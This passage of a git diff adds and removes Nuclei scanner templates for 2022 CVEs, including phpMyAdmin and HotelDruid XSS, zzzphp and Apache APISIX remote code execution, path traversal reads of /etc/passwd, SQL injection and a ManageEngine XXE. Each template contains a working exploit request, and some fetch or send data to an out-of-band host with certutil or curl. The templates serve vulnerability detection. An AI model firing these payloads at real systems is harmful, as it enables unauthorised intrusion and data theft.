    ' - - - type: regex - part: location - regex: - - 'https?:\/\/(.*):' - - extractors: - - type: regex - part: location - group: 1 - regex: - - 'https?:\/\/(.*):' - -# Enhanced by mp on 2022/03/28 diff --git a/nuclei-templates/CVE-2022/cve-2022-23808.yaml b/nuclei-templates/CVE-2022/cve-2022-23808.yaml new file mode 100644 index 0000000000..a75c89c2f3 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-23808.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-23808 + +info: + name: phpMyAdmin < 5.1.2 - Cross-Site Scripting + author: cckuailong + severity: medium + description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection. + reference: + - https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A + - https://github.com/dipakpanchal456/CVE-2022-23808 + - https://nvd.nist.gov/vuln/detail/CVE-2022-23808 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-23808 + cwe-id: CWE-79 + tags: cve,cve2022,phpmyadmin,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=\">'>" + - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=\">'>" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - "text/html" + + - type: word + part: body + words: + - "\">'>" + +# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-23881.yaml b/nuclei-templates/CVE-2022/cve-2022-23881.yaml new file mode 100644 index 0000000000..84b802eba2 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-23881.yaml @@ -0,0 +1,35 @@ +id: CVE-2022-23881 + +info: + name: zzzphp v2.1.0 RCE + author: pikpikcu + severity: critical + description: ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php. + reference: + - https://github.com/metaStor/Vuls/blob/main/zzzcms/zzzphp%20V2.1.0%20RCE/zzzphp%20V2.1.0%20RCE.md + - http://www.zzzcms.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-23881 + tags: cve,cve2022,rce,zzzphp,zzzcms + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2022-23881 + cwe-id: CWE-77 + +requests: + - raw: + - | + GET /?location=search HTTP/1.1 + Host: {{Hostname}} + Cookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: status + status: + - 500 diff --git a/nuclei-templates/CVE-2022/cve-2022-24112.yaml b/nuclei-templates/CVE-2022/cve-2022-24112.yaml deleted file mode 100644 index eb82122e33..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-24112.yaml +++ /dev/null @@ -1,80 +0,0 @@ -id: CVE-2022-24112 - -info: - name: Apache APISIX apisix/batch-requests Remote Code Execution - description: "A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An Apache APISIX apisix/batch-requests plugin allows overwriting the X-REAL-IP header to RCE. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed." - remediation: "Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`)." - author: Mr-xn - severity: critical - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2022-24112 - - https://www.openwall.com/lists/oss-security/2022/02/11/3 - - https://twitter.com/sirifu4k1/status/1496043663704858625 - - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests - metadata: - shodan-query: title:"Apache APISIX Dashboard" - fofa-query: title="Apache APISIX Dashboard" - product: https://apisix.apache.org - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2022-24112 - cwe-id: CWE-290 - tags: cve,cve2022,apache,rce,apisix,oast - -requests: - - raw: - - | - POST /apisix/batch-requests HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - Accept-Encoding: gzip, deflate - Accept-Language: zh-CN,zh;q=0.9 - - { - "headers":{ - "X-Real-IP":"127.0.0.1", - "Content-Type":"application/json" - }, - "timeout":1500, - "pipeline":[ - { - "method":"PUT", - "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", - "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl https://{{interactsh-url}}/`whoami`'); return true end\"}" - } - ] - } - - | - GET /api/{{randstr}} HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept-Language: zh-CN,zh;q=0.9 - - req-condition: true - matchers-condition: and - matchers: - - type: word - part: body_1 - words: - - '"reason":"OK"' - - '"status":200' - condition: and - - - type: status - status: - - 200 - - - type: word - part: interactsh_protocol - words: - - 'http' - - extractors: - - type: regex - part: interactsh_request - group: 1 - regex: - - 'GET \/([a-z-]+) HTTP' - -# Enhanced by mp on 2022/03/08 diff --git a/nuclei-templates/CVE-2022/cve-2022-24288.yaml b/nuclei-templates/CVE-2022/cve-2022-24288.yaml deleted file mode 100644 index 859598f067..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-24288.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2022-24288 - -info: - name: Apache Airflow OS Command Injection - author: xeldax - severity: critical - description: Apache Airflow prior to version 2.2.4 is vulnerable to OS command injection attacks because some example DAGs do not properly sanitize user-provided parameters, making them susceptible to OS Command Injection from the web UI. - reference: - - https://github.com/advisories/GHSA-3v7g-4pg3-7r6j - - https://nvd.nist.gov/vuln/detail/CVE-2022-24288 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2022-24288 - cwe-id: CWE-78 - metadata: - shodan-query: title:"Airflow - DAGs" - tags: cve,cve2022,airflow,rce - -requests: - - method: GET - path: - - "{{BaseURL}}/admin/airflow/code?root=&dag_id=example_passing_params_via_test_command" - - "{{BaseURL}}/code?dag_id=example_passing_params_via_test_command" - - stop-at-first-match: true - matchers: - - type: word - words: - - 'foo was passed in via Airflow CLI Test command with value {{ params.foo }}' # Works with unauthenticated airflow instance - -# Enhanced by mp on 2022/03/23 diff --git a/nuclei-templates/CVE-2022/cve-2022-24856.yaml b/nuclei-templates/CVE-2022/cve-2022-24856.yaml new file mode 100644 index 0000000000..867ca9a9d9 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-24856.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-24856 + +info: + name: Flyte Console <0.52.0 - Server-Side Request Forgery + author: pdteam + severity: high + description: | + FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur. + impact: | + An attacker can exploit this vulnerability to perform unauthorized actions, such as accessing internal resources, bypassing security controls, or launching further attacks. + remediation: | + The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole. + reference: + - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9 + - https://github.com/flyteorg/flyteconsole/pull/389 + - https://hackerone.com/reports/1540906 + - https://nvd.nist.gov/vuln/detail/CVE-2022-24856 + - https://github.com/flyteorg/flyteconsole/commit/05b88ed2d2ecdb5d8a8404efea25414e57189709 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-24856 + cwe-id: CWE-918 + epss-score: 0.08397 + epss-percentile: 0.94255 + cpe: cpe:2.3:a:flyte:flyte_console:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: flyte + product: flyte_console + tags: cve2022,cve,flyteconsole,ssrf,oss,hackerone,flyte + +http: + - method: GET + path: + - "{{BaseURL}}/cors_proxy/https://oast.me/" + + matchers: + - type: word + words: + - "Interactsh Server" +# digest: 490a00463044022011000b62bbdc9d5f28cdb1540f0177002809856e4f065b19296986952d6abac5022034c9d32e197b3f27d3f1d38e02891c4f95987145301f02da2555758516aef94e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-24900.yaml b/nuclei-templates/CVE-2022/cve-2022-24900.yaml new file mode 100644 index 0000000000..5197c4d2ea --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-24900.yaml @@ -0,0 +1,47 @@ +id: CVE-2022-24900 + +info: + name: Piano LED Visualizer 1.3 - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion. + impact: | + An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server. + remediation: | + Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application. + reference: + - https://github.com/onlaj/Piano-LED-Visualizer/issues/350 + - https://vuldb.com/?id.198714 + - https://nvd.nist.gov/vuln/detail/CVE-2022-24900 + - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cve-id: CVE-2022-24900 + cwe-id: CWE-668,CWE-22 + epss-score: 0.00999 + epss-percentile: 0.81936 + cpe: cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: piano_led_visualizer_project + product: piano_led_visualizer + tags: cve2022,cve,lfi,piano,iot,oss,piano_led_visualizer_project + +http: + - method: GET + path: + - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 4a0a004730450220769f0b22c82a753d0e8d77f012b14207ab4c56507605203f5ed415c7de1fcce0022100b0dfc7497219b96863930792f0fc57dd921a58d19ee3eccdbb2cbe6364059fc6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-24990.yaml b/nuclei-templates/CVE-2022/cve-2022-24990.yaml new file mode 100644 index 0000000000..39916d1f52 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-24990.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-24990 + +info: + name: TerraMaster TOS < 4.2.30 Server Information Disclosure + author: dwisiswant0 + severity: medium + description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure. + reference: + - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/ + metadata: + shodan-query: TerraMaster + tags: cve,cve2022,terramaster,exposure + classification: + cve-id: CVE-2022-24990 + +requests: + - method: GET + path: + - "{{BaseURL}}/module/api.php?mobile/webNasIPS" + headers: + User-Agent: "TNAS" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - "application/json" + - "TerraMaster" + condition: and + + - type: regex + part: body + regex: + - "webNasIPS successful" + - "(ADDR|(IFC|PWD|[DS]AT)):" + - "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":" # cherry pick + condition: or + +# Enhanced by mp on 2022/03/23 diff --git a/nuclei-templates/CVE-2022/cve-2022-25216.yaml b/nuclei-templates/CVE-2022/cve-2022-25216.yaml new file mode 100644 index 0000000000..adef971fa1 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-25216.yaml @@ -0,0 +1,35 @@ +id: CVE-2022-25216 + +info: + name: DVDFab 12 Player/PlayerFab - Arbitrary File Read + author: 0x_Akoko + severity: high + description: An absolute path traversal vulnerability allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access + reference: + - https://www.tenable.com/security/research/tra-2022-07 + - https://www.cvedetails.com/cve/CVE-2022-25216 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-25216 + cwe-id: CWE-22 + tags: cve,cve2022,dvdFab,lfi,lfr + +requests: + - method: GET + path: + - "{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2022/cve-2022-25323.yaml b/nuclei-templates/CVE-2022/cve-2022-25323.yaml new file mode 100644 index 0000000000..4500863480 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-25323.yaml @@ -0,0 +1,35 @@ +id: CVE-2022-25323 + +info: + name: ZEROF Web Server 2.0 Cross-Site Scripting + author: pikpikcu + severity: medium + description: ZEROF Web Server 2.0 allows /admin.back cross-site scripting. + reference: + - https://github.com/awillix/research/blob/main/cve/CVE-2022-25323.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-25323 + tags: xss,cve,cve2022,zerof + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2022-25323 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/admin.back" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'back' + condition: and + + - type: status + status: + - 401 + +# Enhanced by mp on 2022/03/07 diff --git a/nuclei-templates/CVE-2022/cve-2022-26135.yaml b/nuclei-templates/CVE-2022/cve-2022-26135.yaml deleted file mode 100644 index 6ec4be4593..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-26135.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2022-26135 - -info: - name: Full-Read Server Side Request Forgery in Mobile Plugin for Jira Data Center and Server - author: dk4trin - severity: high - description: A vulnerability in Mobile Plugin for Jira Data Center and Server allows a remote, authenticated user (including a user who joined via the sign-up feature) to perform a full read server-side request forgery via a batch endpoint. This affects Atlassian Jira Server and Data Center from version 8.0.0 before version 8.13.22, from version 8.14.0 before 8.20.10, from version 8.21.0 before 8.22.4. This also affects Jira Management Server and Data Center versions from version 4.0.0 before 4.13.22, from version 4.14.0 before 4.20.10 and from version 4.21.0 before 4.22.4. - reference: - - https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html - - https://github.com/assetnote/jira-mobile-ssrf-exploit - classification: - cvss-score: 7.5 - cve-id: CVE-2020-14179 - tags: cve,cve2022,atlassian,jira,ssrf - -requests: - - method: GET - path: - - "{{BaseURL}}/secure/Signup!default.jspa" - - matchers-condition: and - matchers: - - type: word - words: - - "Email" - - "Username" - - "Password" - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2022/cve-2022-26564.yaml b/nuclei-templates/CVE-2022/cve-2022-26564.yaml new file mode 100644 index 0000000000..0dcca515bd --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-26564.yaml @@ -0,0 +1,60 @@ +id: CVE-2022-26564 + +info: + name: HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting + author: alexrydzak + severity: medium + description: | + HotelDruid Hotel Management Software 3.0.3 contains a cross-site scripting vulnerability via the prezzoperiodo4 parameter in creaprezzi.php. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. + remediation: | + Upgrade to the latest version to mitigate this vulnerability. + reference: + - https://rydzak.me/2022/04/cve-2022-26564/ + - https://www.hoteldruid.com + - https://nvd.nist.gov/vuln/detail/CVE-2022-26564 + - https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-26564 + cwe-id: CWE-79 + epss-score: 0.00097 + epss-percentile: 0.39401 + cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.3:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: digitaldruid + product: hoteldruid + shodan-query: http.favicon.hash:-1521640213 + tags: cve,cve2022,hoteldruid,xss,digitaldruid + +http: + - method: GET + path: + - '{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>' + - '{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1' + - '{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>' + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "HotelDruid" + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 +# digest: 4b0a00483046022100cce687826fa0938f4944c77a726102f036638a7225beea50d91d7f4aba881ee4022100d38d31a915a08dd7ac2ccff9c5cdb5683ccf782cc375359389be457f415998d9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-26960.yaml b/nuclei-templates/CVE-2022/cve-2022-26960.yaml deleted file mode 100644 index e231a5d9bb..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-26960.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2022-26960 - -info: - name: elFinder <=2.1.60 - Local File Inclusion - author: pikpikcu - severity: critical - description: | - elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system. - remediation: | - Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability. - reference: - - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html - - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db - - https://www.synacktiv.com/publications.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-26960 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 9.1 - cve-id: CVE-2022-26960 - cwe-id: CWE-22 - epss-score: 0.85922 - epss-percentile: 0.98481 - cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: std42 - product: elfinder - tags: cve2022,cve,lfi,elfinder,std42 - -http: - - raw: - - | - GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 -# digest: 4a0a00473045022100b51a2dee0a9598c7c1f521f9373c5bb35728dda0693010a4db82ab044f7124d4022006a5200a4741c2b9c8d1102b86fd448d48abe1e0af4e543f0ea00920ed47e9ee:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-27927.yaml b/nuclei-templates/CVE-2022/cve-2022-27927.yaml deleted file mode 100644 index 1ff0eadb94..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-27927.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2022-27927 - -info: - name: Microfinance Management System 1.0 - SQL Injection - author: lucasljm2001,ekrause - severity: critical - description: | - Microfinance Management System 1.0 is susceptible to SQL Injection. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. - remediation: | - Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0. - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927 - - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip - - https://www.exploit-db.com/exploits/50891 - - https://nvd.nist.gov/vuln/detail/CVE-2022-27927 - - https://www.sourcecodester.com/php/14822/microfinance-management-system.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-27927 - cwe-id: CWE-89 - epss-score: 0.10451 - epss-percentile: 0.94459 - cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: microfinance_management_system_project - product: microfinance_management_system - tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project -variables: - num: "999999999" - -http: - - raw: - - | - GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '{{md5({{num}})}}' - - - type: status - status: - - 200 -# digest: 490a00463044022100f2330cc77d89bc9dfac599714252cb298c5cb445f575714fdaa3d22ce52302d0021f4591789a7daf3fbe297cb9f3ea7331553a85261ca6027546cac70619c403fa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-28080.yaml b/nuclei-templates/CVE-2022/cve-2022-28080.yaml new file mode 100644 index 0000000000..9076309976 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-28080.yaml @@ -0,0 +1,82 @@ +id: CVE-2022-28080 + +info: + name: Royal Event - SQL Injection + author: lucasljm2001,ekrause,ritikchaddha + severity: high + description: | + Royal Event is vulnerable to a SQL injection vulnerability. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire database. + remediation: | + To remediate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL Injection attacks. + reference: + - https://www.exploit-db.com/exploits/50934 + - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip + - https://github.com/erengozaydin/Royal-Event-Management-System-todate-SQL-Injection-Authenticated + - https://nvd.nist.gov/vuln/detail/CVE-2022-28080 + - https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2022-28080 + cwe-id: CWE-89 + epss-score: 0.01461 + epss-percentile: 0.86424 + cpe: cpe:2.3:a:event_management_system_project:event_management_system:1.0:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: event_management_system_project + product: event_management_system + tags: cve,cve2022,royalevent,edb,sqli,authenticated,cms,intrusive,event_management_system_project + +http: + - raw: + - | + POST /royal_event/ HTTP/1.1 + Host: {{Hostname}} + Content-Length: 353 + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD + + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="username" + + {{username}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="password" + + {{password}} + ------WebKitFormBoundaryCSxQll1eihcqgIgD + Content-Disposition: form-data; name="login" + + + ------WebKitFormBoundaryCSxQll1eihcqgIgD-- + - | + POST /royal_event/btndates_report.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD + + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="todate" + + 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5("{{randstr}}"),0x1,0x2),NULL-- - + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="search" + + 3 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD + Content-Disposition: form-data; name="fromdate" + + 01/01/2011 + ------WebKitFormBoundaryFboH5ITu7DsGIGrD-- + + matchers-condition: and + matchers: + - type: word + words: + - '{{md5("{{randstr}}")}}' + + - type: status + status: + - 200 +# digest: 490a0046304402206f49180b6302f9fef0412af1682487a99e8e841803be35372ea552f7878da30e022034287c08d99ef3e984b6ba91845fc4b18462d620c01f5ea9326718da215d237f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-28219.yaml b/nuclei-templates/CVE-2022/cve-2022-28219.yaml deleted file mode 100644 index 1d27898b64..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-28219.yaml +++ /dev/null @@ -1,67 +0,0 @@ -id: CVE-2022-28219 - -info: - name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution - author: dwisiswant0 - severity: critical - description: | - Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an - unauthenticated XML entity injection attack that can lead to remote code execution. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or perform remote code execution on the affected system. - remediation: | - Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus - is configured with a dedicated service account with restricted privileges. - reference: - - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html - - https://www.horizon3.ai/red-team-blog-cve-2022-28219/ - - https://manageengine.com - - https://nvd.nist.gov/vuln/detail/CVE-2022-28219 - - http://cewolf.sourceforge.net/new/index.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-28219 - cwe-id: CWE-611 - epss-score: 0.97392 - epss-percentile: 0.99909 - cpe: cpe:2.3:a:zohocorp:manageengine_adaudit_plus:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: zohocorp - product: manageengine_adaudit_plus - shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus" - tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth,zohocorp - -http: - - method: POST - path: - - "{{BaseURL}}/api/agent/tabs/agentData" - - body: | - [ - { - "DomainName": "{{Host}}", - "EventCode": 4688, - "EventType": 0, - "TimeGenerated": 0, - "Task Content": " %xxe; ]>" - } - ] - - headers: - Content-Type: application/json - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: body - words: - - "ManageEngine" -# digest: 4b0a00483046022100adfe043ed717eb4c2bd34e54d594afa7fcd27ffa6a5abaa6d34ae8fe396dcd53022100ad5db93b3daf8c1043b3d88354716768831713fd53728c5fe7d83373dbdca6b8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29298.yaml b/nuclei-templates/CVE-2022/cve-2022-29298.yaml new file mode 100644 index 0000000000..38ffe1f6b1 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-29298.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-29298 + +info: + name: SolarView Compact 6.00 - Local File Inclusion + author: ritikchaddha + severity: high + description: SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files. + impact: | + Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data. + remediation: | + Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in SolarView Compact 6.00. + reference: + - https://www.exploit-db.com/exploits/50950 + - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view + - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing + - https://nvd.nist.gov/vuln/detail/CVE-2022-29298 + - https://github.com/20142995/pocsuite3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-29298 + cwe-id: CWE-22 + epss-score: 0.1374 + epss-percentile: 0.95497 + cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: contec + product: sv-cpt-mc310_firmware + shodan-query: http.html:"SolarView Compact" + tags: cve,cve2022,lfi,solarview,edb,contec + +http: + - method: GET + path: + - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 +# digest: 490a00463044022078d081edda1941e7be81d051567065c4e396282660f623323433ef782d79da2902205556917e13179bce84c0fd7d72192302ad7189776bf60aa56d15335d18521f44:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-29303.yaml 